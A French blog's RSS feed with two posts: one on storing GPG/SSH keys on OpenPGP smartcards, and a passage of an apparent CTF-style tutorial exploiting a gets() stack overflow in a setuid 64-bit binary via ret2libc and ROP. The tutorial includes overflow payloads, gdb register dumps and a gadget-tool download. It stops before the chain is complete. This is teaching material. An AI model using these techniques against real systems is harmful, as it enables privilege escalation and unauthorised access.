-
Notifications
You must be signed in to change notification settings - Fork 0
/
index.xml
903 lines (686 loc) · 63.9 KB
/
index.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
<?xml version="1.0" encoding="utf-8" standalone="yes" ?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>ngup, stfu, rtfm & KISS</title>
<link>https://unix4fun.github.io/index.xml</link>
<description>Recent content on ngup, stfu, rtfm & KISS</description>
<generator>Hugo -- gohugo.io</generator>
<language>en-us</language>
<copyright>&copy; unix4fun 2016.<br>All rights reserved.</copyright>
<lastBuildDate>Sun, 20 Nov 2016 13:05:55 +0100</lastBuildDate>
<atom:link href="https://unix4fun.github.io/index.xml" rel="self" type="application/rss+xml" />
<item>
<title>ssh gpg et ta nouvelle carte de credit</title>
<link>https://unix4fun.github.io/post/ssh-gpg-et-ta-nouvelle-carte-de-credit/</link>
<pubDate>Sun, 20 Nov 2016 13:05:55 +0100</pubDate>
<guid>https://unix4fun.github.io/post/ssh-gpg-et-ta-nouvelle-carte-de-credit/</guid>
<description>
<p><strong>Update 22/11/2016</strong> : rajouts des liens sur le hardware + une section fun sur l&rsquo;abus d&rsquo;une fonctionnalite de l&rsquo;implementation d&rsquo;un HSM (heureusement qu&rsquo;il est open cela dit&hellip;)</p>
<h2 id="c-est-quoi-l-histoire">C&rsquo;est quoi l&rsquo;histoire?</h2>
<p>Crise de la trentaine..</p>
<p>Comme beaucoup de bouseux/geeks de l&rsquo;opensource (dont je fais partie), j&rsquo;ai beaucoup de machines qui &ldquo;traînent&rdquo; et servent <em>sporadiquement</em> pour certains trucs elec-digitale/FPGA/OTG/ARM/decouverte/blabla (comme le <a href="https://www.crowdsupply.com/sutajio-kosagi/novena">novena</a>) ou certaines &ldquo;tâches&rdquo;/&ldquo;test&rdquo; (comme bientôt l&rsquo;<a href="https://www.crowdsupply.com/design-shift/orwl">ORWL</a>), j&rsquo;ai plusieurs &ldquo;laptops&rdquo; selon que je bosse (et sur quoi) ou que je &ldquo;traîne&rdquo; sur mes projets persos (ah ça je traîne..) ou de l&rsquo;apprentissage (<a href="https://www.amazon.com/Screen-Lemote-Yeeloong-8101_B-Netbook/dp/B005XH10NQ/ref=sr_1_2?ie=UTF8&amp;qid=1319989211&amp;sr=8-2?tag=electronicfro-20">yeelong</a> pour le MIPS ou le novena pour l&rsquo;arch ARM).</p>
<p>Le truc relou c&rsquo;est que je voulais pouvoir me logguer (ah mon IRC&hellip;) souvent depuis la machine où je suis sur le moment (OS hétérogènes: bsd, linux, os/x) mais sans transférer/laisser trainer la/les clefs SSH et/ou GPG et en limitant (un peu, faut pas rêver non plus.) les risques qu&rsquo;un putain de malware/bouseux concurrent (oui on sait jamais) me les tapent simplement&hellip;</p>
<p>Alors j&rsquo;ai juste cherché, vite fait, comment je pourrais faire.. je me suis aussi demandé pourquoi je l&rsquo;ai pas fait avant&hellip; je me forçais à me logguer depuis UNE seule machine trusted blablabla&hellip; bref.</p>
<h2 id="comment">Comment?</h2>
<p>Y a pleins d&rsquo;approches &ldquo;potentielles&rdquo;:</p>
<ul>
<li>un disque externe/USB chiffré qui se monte automagiquement, mais c&rsquo;est relou selon les FS/crypto supportés, pas multiplateforme et bon on peut encore te taper ta clef privée (genre en mémoire) meme si elle est chiffrée avec ta gentille passphrase.</li>
<li>un HSM, une variante du FS qui te file une interface d&rsquo;accès qui &ldquo;devrait&rdquo; marcher partout.. mais bon.. on sait ce que c&rsquo;est.. driver, interface peu/pas portables/etc.. ou qui finalement se comporte comme un FS avec une interface pseudo-custom..</li>
<li><a href="https://keybase.io">keybase.io</a> qui te propose un moyen de dealer avec tes clefs GPG (mais pas que..) de manière (IMHO) assez bordelique (mais pas que..) et complexe, mais avec une jolie CLI et une jolie interface <em>yoyoyo-je-suis-une-startup-à-SF-donc-jai-forcément-la-solution-to-build-a-better-world</em></li>
<li>smartcards (hmm?! comment ça marche?)</li>
<li>copier-partout-et-croire-en-dieu-ou-des-esprits-que-tu-te-feras-jamais-défoncer</li>
<li>what else? (vous pouvez commenter!)</li>
</ul>
<p>Apres une brillante analyse (qui me caractérise bien moi, le bon et prétentieux bouseux opensourceux), la définition d&rsquo;un threat model, le calcul du risque associé et la production de slides incroyables pour la prochaine conf à la con ou j&rsquo;irais vomir/étaler ma mediocrite pour me vendre un peu plus en tentant de changer de statut (e.g. passer du cassoulet LIDL au cassoulet Williams Saurin, c&rsquo;est une évolution en soi).</p>
<p>J&rsquo;en suis venu aux smartcards, qui loin d&rsquo;être parfaites, proposent quand même un compromis &ldquo;sympa&rdquo; pour peu que l&rsquo;on <em>TRUSTE</em> le hardware, le protocole (CCID) et son implementation (il y a des choses intéressantes d&rsquo;ailleurs.. ;)), finalement, je truste mon laptop et tous ses composants même les plus &ldquo;blobesques&rdquo; (hélas..) et critiques (ethernet / BIOS / etc..?!).</p>
<h2 id="setup">Setup..</h2>
<p>Honnêtement, je vais pas reprendre le setup pas à pas, j&rsquo;ai compilé une serie de liens qui m&rsquo;ont aidé à piger/faire mon setup, ca devrait largement suffire pour démarrer.</p>
<p>Voilà les liens qui m&rsquo;ont aidés:</p>
<ul>
<li><a href="https://wiki.fsfe.org/TechDocs/CardHowtos/CardWithSubkeysUsingBackups">https://wiki.fsfe.org/TechDocs/CardHowtos/CardWithSubkeysUsingBackups</a></li>
<li><a href="https://www.gnupg.org/howtos/card-howto/en/smartcard-howto.html">https://www.gnupg.org/howtos/card-howto/en/smartcard-howto.html</a></li>
<li><a href="https://budts.be/weblog/2012/08/ssh-authentication-with-your-pgp-key">https://budts.be/weblog/2012/08/ssh-authentication-with-your-pgp-key</a></li>
<li><a href="https://www.sidorenko.io/blog/2014/11/04/yubikey-slash-openpgp-smartcards-for-newbies/">https://www.sidorenko.io/blog/2014/11/04/yubikey-slash-openpgp-smartcards-for-newbies/</a></li>
<li><a href="https://blog.josefsson.org/2014/06/23/offline-gnupg-master-key-and-subkeys-on-yubikey-neo-smartcard/">https://blog.josefsson.org/2014/06/23/offline-gnupg-master-key-and-subkeys-on-yubikey-neo-smartcard/</a></li>
<li><a href="https://www.preining.info/blog/2016/04/gnupg-subkeys-yubikey/">https://www.preining.info/blog/2016/04/gnupg-subkeys-yubikey/</a></li>
<li><a href="https://spin.atomicobject.com/2014/02/09/gnupg-openpgp-smartcard/">https://spin.atomicobject.com/2014/02/09/gnupg-openpgp-smartcard/</a></li>
<li><a href="https://incenp.org/notes/2014/gnupg-for-ssh-authentication.html">https://incenp.org/notes/2014/gnupg-for-ssh-authentication.html</a></li>
<li><a href="https://openpgpcard.org/makecard/">https://openpgpcard.org/makecard/</a></li>
<li><a href="https://lists.gnupg.org/pipermail/gnupg-devel/2016-January/030682.html">https://lists.gnupg.org/pipermail/gnupg-devel/2016-January/030682.html</a></li>
<li><a href="https://www.gnupg.org/documentation/manuals/gnupg/GPG-Configuration.html">https://www.gnupg.org/documentation/manuals/gnupg/GPG-Configuration.html</a></li>
<li><a href="https://wiki.archlinux.org/index.php/GnuPG">https://wiki.archlinux.org/index.php/GnuPG</a></li>
<li><a href="https://wiki.debian.org/Smartcards/OpenPGP#SSH">https://wiki.debian.org/Smartcards/OpenPGP#SSH</a></li>
<li><a href="https://www.esev.com/blog/post/2015-01-pgp-ssh-key-on-yubikey-neo/">https://www.esev.com/blog/post/2015-01-pgp-ssh-key-on-yubikey-neo/</a></li>
<li><a href="https://www.programmierecke.net/howto/gpg-ssh.html">https://www.programmierecke.net/howto/gpg-ssh.html</a></li>
<li><a href="https://www.makomk.com/2016/01/23/openpgp-crypto-token-using-gnuk/">https://www.makomk.com/2016/01/23/openpgp-crypto-token-using-gnuk/</a></li>
<li><a href="https://alexcabal.com/creating-the-perfect-gpg-keypair/">https://alexcabal.com/creating-the-perfect-gpg-keypair/</a></li>
</ul>
<p>En ce qui concerne les smartcards, voila ce que j&rsquo;ai listé:</p>
<ul>
<li><a href="https://www.yubico.com/products/yubikey-hardware/yubikey4/">Yubikey v4</a>, elles ont plusieurs mode de fonctionnement qui collaborent (FIDO/U2F/CCID/HSM blablabla), en gros yubikey (si vous les ouvrez) c&rsquo;est 2 MCU, un &ldquo;secure&rdquo; MCU qui gère la crypto/storage, NXP chaisplus combien et un MCU qui gère la comm USB/CCID, <a href="http://www.hexview.com/~scl/neo/">quelqu&rsquo;un l&rsquo;avait fait avant moi</a>, ça ne m&rsquo;a pas empêché de l&rsquo;ouvrir&hellip; oui, vous avez compris j&rsquo;adore ouvrir les boîtes de cassoulets mais lui au moins, il a pris/poste des photos.</li>
<li><a href="http://www.g10code.com/p-card.html">OpenPGP card v2.1</a> on les trouve un peu partout, un peu lentes mais marchent très bien (recommandées par la FSF).</li>
<li><a href="https://shop.nitrokey.com/shop/product/nitrokey-pro-3">Nitrokey</a>, une implementation &ldquo;opensource&rdquo;/freemium d&rsquo;une smartcard à base de MCU / gnuk.</li>
<li><a href="https://www.gniibe.org/pdf/fosdem-2012/gnuk-fosdem-20120204.pdf">Gnuk</a>, MCU avec le code opensource Gnuk, qui utilise une <a href="https://github.com/jj1bdx/chopstx/blob/master/README">lib de threading</a> comme OS et fait tourner les opérations de crypto et la minipile USB/CCID pour repondre comme une smartcard.</li>
<li>what else?</li>
</ul>
<p>Hardware:</p>
<ul>
<li><a href="https://www.seeedstudio.com/FST-01-with-White-Enclosure-p-1279.html">https://www.seeedstudio.com/FST-01-with-White-Enclosure-p-1279.html</a></li>
<li><a href="https://github.com/jj1bdx/chopstx/blob/master/README">https://github.com/jj1bdx/chopstx/blob/master/README</a></li>
<li><a href="http://www.fsij.org/doc-gnuk/intro.html#usages">http://www.fsij.org/doc-gnuk/intro.html#usages</a></li>
<li><a href="https://github.com/ggkitsas/gnuk">https://github.com/ggkitsas/gnuk</a></li>
<li><a href="https://wiki.debian.org/Smartcards#Some_common_cards">https://wiki.debian.org/Smartcards#Some_common_cards</a></li>
</ul>
<h2 id="les-merdes-y-a-toujours-des-merdes">les merdes, y a toujours des merdes&hellip;</h2>
<ul>
<li><em>keytocard</em> ca MOVE (donc efface) les clefs privées de votre <em>keyring</em> et les remplace par un <em>stub</em>, rappelez vous en (genre avant le backup).</li>
<li>gnupg v1 VS gnupg v2.0 VS gnupg v2.1 ça cohabite, mais pas très bien, il y a des VRAIES différences et ça peut causer quelques emmerdes, ne vous faites pas avoir. En gros démarrez avec avec 2.1.X et stick to it now&hellip; c&rsquo;est pas parfait mais ça évolue&hellip;</li>
<li>gnupg 2.1.15 l&rsquo;avant dernière release (celle avec laquelle je me suis battu&hellip;) avait un bug où la wrapper lib de threading (npth) etait utilisée AVANT d&rsquo;être d&rsquo;initialisée et <em>gpg-agent</em>, <em>scdaemon</em>, <em>dirmngr</em> se mangeaient un bel <em>assert()</em> et donc ne fonctionnaient pas, mais ça compilait sans soucis, du coup la release était une release&hellip; mais inutilisable.. j&rsquo;ai fait un patch, mais 2.1.16 a été releasé entre temps qui resoud ce BUG mais n&rsquo;est pas encore forcément dans tous les repositories de packages.</li>
<li>gnupg v2.1 crée des <em>stubs</em> des clefs privée À CHAQUE instanciation de l&rsquo;agent (&ndash;card-status par exemple), si vous avez plusieurs smartcards avec la MÊME clef, oubliez pas de tuer l&rsquo;agent et de &ldquo;cleaner&rdquo; (rm -rf $HOME/.gnupg/private-keys-v1.d/*) sinon il va associer/garder les stubs de la smartcard précédente et au moment de l utilisation vous demander d&rsquo;insérer la dite smartcard.</li>
<li>impossible d&rsquo;avoir le <em>pinentry</em> au moment de mon ssh, il me faut &ldquo;préparer&rdquo; l&rsquo;agent, un petit <em>gpg2 &ndash;card-status</em>, suivi d&rsquo;un <em>gpg2 -d <unfichierchiffreavecmaclefGPG></em> le tout avec ma carte insérée (+ le bon PIN) et juste apres je peux faire mon ssh et ça passe.</li>
<li><em>$HOME/.gnupg/scd-events</em> peut être exécuté à chaque instanciation de l&rsquo;agent et/ou insertion d&rsquo;une SC, attention, le lecteur SC standard USB et une yubikey ne se comportent pas de manière identique, pour avoir un comportement consistant (genre killer l&rsquo;agent ou cleaner les stubs est pas évident) il faut travailler un peu..</li>
<li>veillez comme toutes les docs le disent à BIEN FAIRE DES BACKUPS apres les différentes étapes, création masterkey, subkeys, etc.. et à mettre ces backups safe et offline, sinon tout ça ne sert à rien.</li>
</ul>
<h2 id="encore-des-emmerdes">Encore des emmerdes&hellip;</h2>
<p>Le probleme est toujours le meme, le <em>TRUST</em> sur une plateforme hardware dont vous ne connaissez RIEN et ou le joli autocollant <em>SECURE</em> est appose pour bien vous
faire sentir au chaud, je crois qu&rsquo;il serait sympa d&rsquo;avoir une review de plus des implementations ouvertes et peut-etre proposer des updates (soft ET hard) afin d&rsquo;avoir des &ldquo;smartcards&rdquo; qui tiennent le coup.</p>
<p>On nous a gentillement signale cette &ldquo;attaque&rdquo;, ce &ldquo;post&rdquo; interessant, mais c&rsquo;est plutot un l&rsquo;abus d&rsquo;une fonctionnalite qui a mon HUMBLE avis ne devrait pas etre implementee.</p>
<p>Ce monsieur s&rsquo;est bien amuse, <a href="https://raymii.org/s/articles/Nitrokey_Start_Getting_started_guide.html">d&rsquo;abord il joue avec son device..</a>, puis il <a href="https://raymii.org/s/tutorials/FST-01_firmware_upgrade_via_usb.html">gratte un peu, par curiosite</a>, puis <a href="https://raymii.org/s/tutorials/Nitrokey_gnuk_firmware_update_via_DFU.html">la encore</a> plus a droite, plus a droite, un peu a gauchhhheee, laaaaaaaaaaaaaAAAAaaaa et hop <a href="https://raymii.org/s/articles/Decrypt_NitroKey_HSM_or_SmartCard-HSM_private_keys.html">decouvrir une belle croute de fonctionnalite</a>.</p>
<p>Ca laisse reveur quand on reflechit un tout petit peu a l&rsquo;utilite d&rsquo;un HSM (je rappelle ce n&rsquo;est pas une SmartCard CCID bla)</p>
<h2 id="conclusion">Conclusion</h2>
<p>Mon français sent des pieds mais ça marche, mes clefs ne sont plus &ldquo;online&rdquo;, à part sur mes 2 SC, la SC donne une interface pour signer/chiffrer (via CCID) mais ne permet pas de récupérer les clefs privées directement (comme sur un FS), je peux plugger ma SC sur différents systèmes (BSD, Linux, OS/x) mon auth est faisable sans pour autant compremettre aussi facilement mes clefs, je n&rsquo;ai rien à copier et j&rsquo;ai un élément hardware en plus de mon PIN, pour chiffrer mes datas et pour m&rsquo;auth sur mes machines, plus feignant que ça tu meurs.</p>
<p>Un seul bémol, il faut un gnupg 2.0.X ou 2.1.16+ et c&rsquo;est pas encore super &ldquo;smooth&rdquo;, voilà en vous remerciant.</p>
</description>
</item>
<item>
<title>Exploiter un binaire 64 bits sous Linux via ROP</title>
<link>https://unix4fun.github.io/post/howto-rop-en-64bits/</link>
<pubDate>Mon, 03 Oct 2016 10:48:10 +0200</pubDate>
<guid>https://unix4fun.github.io/post/howto-rop-en-64bits/</guid>
<description>
<h2 id="introduction">Introduction</h2>
<p>Bon ben dans la même veine que le post précedent, je vais tâcher d&rsquo;expliquer comment exploiter un buffer overflow sur la stack, en utilisant la méthode de Return-Oriented Programming. Cette technique est utilisée quand la stack n&rsquo;est pas exécutable, l&rsquo;idée étant de sauter dans une portion de code qui l&rsquo;est, et petit à petit, reconstruire un flot d&rsquo;exécution qui mène à&hellip; obtenir un shell avec des droits plus importants, dans le cas présent.</p>
<pre><code>$ ll
total 876
drwxr-x--- 2 user-cracked user 4096 mai 25 2015 ./
drwxr-xr-x 27 root root 4096 sept. 26 20:01 ../
-rwsr-x--- 1 user-cracked user 877214 mai 16 2015 prog*
-rw-r----- 1 user-cracked user 383 mai 24 2015 prog.c
-r-------- 1 user-cracked user-cracked 23 juin 7 2015 .passwd
$
</code></pre>
<p>Comme auparavant, on a un binaire setuid user-cracked, et il nous faut lire le fichier <code>.passwd</code>.</p>
<p>Bon, essayons d&rsquo;avoir quelques informations pertinentes&hellip;</p>
<pre><code>$ checksec.sh --file ./prog
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH ./prog
$ file prog
prog: setuid ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=41592dcab5a8baf3af0ea207b149b6153ad1e6d1, not stripped
$ cat prog.c
#inclde &lt;stdio.h&gt;
#include &lt;string.h&gt;
/*
gcc -o prog prog.c -fno-stack-protector -Wl,-z,relro,-z,now,-z,noexecstack -static
*/
int main(int argc, char **argv)
{
char buffer[256];
int len, i;
gets(buffer);
len = strlen(buffer);
printf(&quot;Hex result: &quot;);
for (i=0; i&lt;len; i++) {
printf(&quot;%02x&quot;, buffer[i]);
}
printf(&quot;\n&quot;);
return 0;
}
</code></pre>
<p>Bon, il y a un buffer overflow évident à cause de <code>gets()</code>. Tout le monde sait qu&rsquo;il ne faut pas utiliser cette fonction, pas la peine d&rsquo;épiloguer.</p>
<p>Ici, il y a deux choses à avoir en tete:</p>
<ul>
<li>la stack est non-exécutable</li>
</ul>
<p>Ce qui fait qu&rsquo;on ne pourra pas pousser un shellcode directement dans la stack, via un buffer à exploiter ou une variable d&rsquo;environnement. Il faudra faire du ret2libc, ou du ROP.</p>
<ul>
<li>le programme tourne en 64 bits</li>
</ul>
<p>Les conventions d&rsquo;appel de fonction ne sont pas les mêmes qu&rsquo;en 32 bits, les syscalls ont de petites différences, etc. On verra ca dans la suite&hellip; Il faut également garder à l&rsquo;esprit que l&rsquo;espace des adresses valide n&rsquo;est pas le même qu&rsquo;en 32 bits. En effet souvent on utilise la fameuse séquence <code>0x414141..</code>. pour marquer qu&rsquo;on contrôle bien le pointer <code>$eip</code>. En 32 bits, cette adresse est valide puisque l&rsquo;espace adressable va de <code>0X0..0</code> à <code>0xbfffffff</code>. Par contre en 64 bits, on va de <code>0x00...0</code> à <code>0x00007fffffffffff</code>. Donc <code>0x4141...</code> va directement taper dans les adresses interdites. Si on forge une adresse bidon, il faut mettre les deux premiers bytes (au moins) à zéro.</p>
<p>Cherchons la présence de fonctions qui nous aideraient bien à avoir un shell&hellip;</p>
<pre><code>$ nm -a ./prog | egrep '(system|exec)'
0000000000468420 T _dl_make_stack_executable
00000000006c11a8 D _dl_make_stack_executable_hook
000000000048ce60 t execute_cfa_program
000000000048e200 t execute_stack_op
00000000004aa1c0 r system_dirs
00000000004aa1a0 r system_dirs_len
$
</code></pre>
<p>Oookay, rien d&rsquo;intéressant&hellip; Vraiment?</p>
<h2 id="tentative-de-ret2libc">Tentative de ret2libc</h2>
<p>Il y a peut-être moyen de rendre la stack exécutable grâce à <code>mprotect()</code> (<code>_dl_make_stack_executable</code> nous y a fait fortement penser), puis de sauter à l&rsquo;adresse d&rsquo;un shellcode qu&rsquo;on aurait mis dans le buffer du programme, ou dans une variable d&rsquo;environnement.</p>
<pre><code>$ nm prog| grep mprotect
0000000000434e10 W mprotect
0000000000434e10 T __mprotect
$
</code></pre>
<p>Ca semble jouable? Le man de <code>mprotect(2)</code> nous dit qu&rsquo;il faut PROT_EXEC pour rendre une portion de code exécutable (<code>0x4</code> d&rsquo;après les headers du système). Dans le doute, si on peut faire appel à cette fonction, autant filer tous les flags de l&rsquo;univers: <code>PROT_EXEC|PROT_WRITE|PROT_READ</code> = <code>0x7</code>. Le prototype de la fonction est le suivant :</p>
<pre><code> int mprotect(void *addr, size_t len, int prot);
</code></pre>
<p>Il faudra donc mettre dans l&rsquo;ordre, sur la stack:</p>
<pre><code>adresses basses [ @__mprotect | return addr | 0x7 | stacksize | $esp ] adresses hautes
</code></pre>
<p>Euh&hellip; en fait non. Deux choses:</p>
<ul>
<li><p>Pour une fonction qui n&rsquo;est pas un <code>syscall</code>, sur x86-32 les paramètres sont passés sur la stack. Alors que sur x86-64 on passe par les registres, donc la stack sera de la forme:</p>
<pre><code>adresses basses [ @__mprotect | return addr ] adresses hautes
</code></pre></li>
<li><p>Pour un <code>syscall</code> dans le deux cas on passe par les registres&hellip; mais ce ne sont pas les mêmes. Sur x86-64 les paramètres sont passés par les registres <code>$rdi</code>, <code>$rsi</code>, <code>$rdx</code>, <code>$rcx</code>, <code>$r8</code>, et <code>$r9</code>. Si vraiment il faut encore passer plus de paramètres à la fonction, alors c&rsquo;est mis sur la stack (mais ça reste rare). Mais on ne devrait pas aller jusque là, puisque <code>mprotect()</code> ne prend que 3 arguments.</p></li>
</ul>
<p>Une fois la stack rendue exécutable, il suffira d&rsquo;avoir empilé l&rsquo;adresse de notre shellcode (<code>return addr</code> dans le petit schéma) pour sauter où on souhaite.</p>
<pre><code>gdb$ ./prog
[...]
gdb$ disas main
Dump of assembler code for function main:
0x000000000040105e &lt;+0&gt;: push rbp
0x000000000040105f &lt;+1&gt;: mov rbp,rsp
0x0000000000401062 &lt;+4&gt;: sub rsp,0x120
[...]
</code></pre>
<p>On voit que le système réserve <code>0x120</code> (288) bytes dans la stack pour faire de la place aux variables locales, etc.</p>
<pre><code> 0x0000000000401076 &lt;+24&gt;: lea rax,[rbp-0x110]
0x000000000040107d &lt;+31&gt;: mov rdi,rax
0x0000000000401080 &lt;+34&gt;: call 0x408750 &lt;gets&gt;
</code></pre>
<p>A l&rsquo;aide de ces trois instructions, on déduit que le registre <code>$rax</code> contient l&rsquo;adresse du buffer qui sera passé à la fonction <code>gets()</code>. Et que sa base est à <code>0x110</code> (272) bytes du début de la stack (<code>$rbp</code>). On en déduit donc que si on écrit 272 bytes dans <code>buffer</code>, alors on arrivera stack a la limite de <code>$rbp</code> qui a été empilé. Les 8 prochains bytes vont écraser $rbp, et les 8 suivant écraseront <code>$rip</code>. C&rsquo;est ce registre qu&rsquo;on veut contrôler. On va tester (par acquis de conscience on met une adresse valide dans <code>$rbp</code>, i.e. <code>0x0000424242424242</code>, et <code>0x0000434343434343</code> dans <code>$rip</code>):</p>
<pre><code>gdb$ r &lt; &lt;(perl -e 'print &quot;A&quot;x272 . &quot;B&quot;x6 . &quot;\x00\x00&quot; . &quot;C&quot;x6 . &quot;\x00\x00&quot;')
----------------------------------------------------------------------------------------------------------------------[regs]
RAX: 0x0000000000000000 RBX: 0x00000000004002B0 RBP: 0x0000424242424242 RSP: 0x000003D42322B720 o d I t s Z a P c
RDI: 0x0000000000000001 RSI: 0x00000000006C26C0 RDX: 0x000000000000000A RCX: 0x0000000000434310 RIP: 0x0000434343434343
R8 : 0x000000000000000A R9 : 0x0000000002296740 R10: 0x0000000000000022 R11: 0x0000000000000246 R12: 0x0000000000000000
R13: 0x0000000000401760 R14: 0x00000000004017F0 R15: 0x0000000000000000
CS: 0033 DS: 0000 ES: 0000 FS: 0063 GS: 0000 SS: 002B Error while running hook_stop:
Cannot access memory at address 0x434343434343
0x0000434343434343 in ?? ()
</code></pre>
<p>Youpi les knackis! Donc on a réussi à écrire dans <code>$rip</code>. On met l&rsquo;adresse de <code>mprotect()</code> dans <code>$rip</code>, on met un breakpoint sur l&rsquo;instruction <code>ret</code>.</p>
<pre><code> [...]
0x00000000004010e6 &lt;+136&gt;: mov eax,0x0
0x00000000004010eb &lt;+141&gt;: leave
0x00000000004010ec &lt;+142&gt;: ret
End of assembler dump.
gdb$ b *0x00000000004010ec
Breakpoint 1 at 0x4010ec
gdb$ r &lt; &lt;(perl -e 'print &quot;A&quot;x272 . &quot;B&quot;x6 . &quot;\x00\x00&quot; . &quot;\x10\x4e\x43&quot;')
[...]
=&gt; 0x4010ec &lt;main+142&gt;: ret
[...]
Breakpoint 1, 0x00000000004010ec in main ()
gdb$ ni
=&gt; 0x434e10 &lt;mprotect&gt;: mov eax,0xa
0x434e15 &lt;mprotect+5&gt;: syscall
0x434e17 &lt;mprotect+7&gt;: cmp rax,0xfffffffffffff001
0x434e1d &lt;mprotect+13&gt;: jae 0x438950 &lt;__syscall_error&gt;
0x434e23 &lt;mprotect+19&gt;: ret
0x434e24: nop WORD PTR cs:[rax+rax*1+0x0]
0x434e2e: xchg ax,ax
0x434e30 &lt;madvise&gt;: mov eax,0x1c
-----------------------------------------------------------------------------------------------------------------------------
0x0000000000434e10 in mprotect ()
</code></pre>
<p>Bien! Est-ce qu&rsquo;on peut mettre les arguments voulus dans les registres idoines, maintenant? Comment connaître la taille du segment mémoire qu&rsquo;on veut rendre exécutable? Et depuis où? C&rsquo;est très probablement faisable, mais je suis débutant et je ne vois pas comment faire, arrivé à ce stade. C&rsquo;est malin, j&rsquo;aurais dû y penser plus tôt. Du coup ça m&rsquo;a l&rsquo;air compromis, de ne faire que du ret2libc. Va falloir passer par du ROP.</p>
<h2 id="bon-ben-va-falloir-passer-par-du-rop">Bon&hellip; ben va falloir passer par du ROP.</h2>
<p>L&rsquo;objectif est de trouver des séquences d&rsquo;instructions dans la zone exécutable de la mémoire du processus, afin de les emboîter petit à petit pour arriver à une succession d&rsquo;opérations qui feront quelque chose de particulier. En l&rsquo;occurrence, obtenir un shell avec les droits privilégiés.</p>
<p>Récuperons un outil pour trouver des gadgets (c&rsquo;est ainsi qu&rsquo;on appelle ces séquences d&rsquo;instructions). Comme on n&rsquo;a pas les droits en écriture dans le répertoire <code>$HOME</code>, on va tout mettre en bordel dans <code>/tmp</code>.</p>
<pre><code>$ mkdir /tmp/p
$ export PATH=$PATH:/tmp/p
$ wget https://github.com/downloads/0vercl0k/rp/rp-lin-x64 -O /tmp/p/
$ chmod +x /tmp/p/rp-lin-x64
</code></pre>
<p>On a choisi <code>rp++</code> (il y en a d&rsquo;autres, comme <code>ROPgadget</code>), un peu par hasard. C&rsquo;est le premier venu quand j&rsquo;ai fait une recherche sur Google et co,,e ce qu&rsquo;on va faire est simple (on veut juste <code>pop</code>-er des valeurs de la stack pour les mettre dans des registres) pas la peine de passer du temps à chercher l&rsquo;outil qui possède les meilleures features&hellip;</p>
<p>On va tenter de faire exécuter un <code>execve()</code> via des gadgets, du coup. Ce qu&rsquo;on souhaite, c&rsquo;est faire executer <code>execve(&quot;/bin/sh&quot;, NULL, NULL);</code>. Notons que d&rsquo;après la documentation de l&rsquo;ABI du système, <code>$rax</code> doit contenir le numéro du syscall (et le contenu sera écrasé lors du retour de fonction, si jamais il se produit&hellip; dans notre cas on s&rsquo;en moque, puisqu&rsquo;on veut spawner un shell). Il faudra donc mettre les registres dans l&rsquo;état suivant:</p>
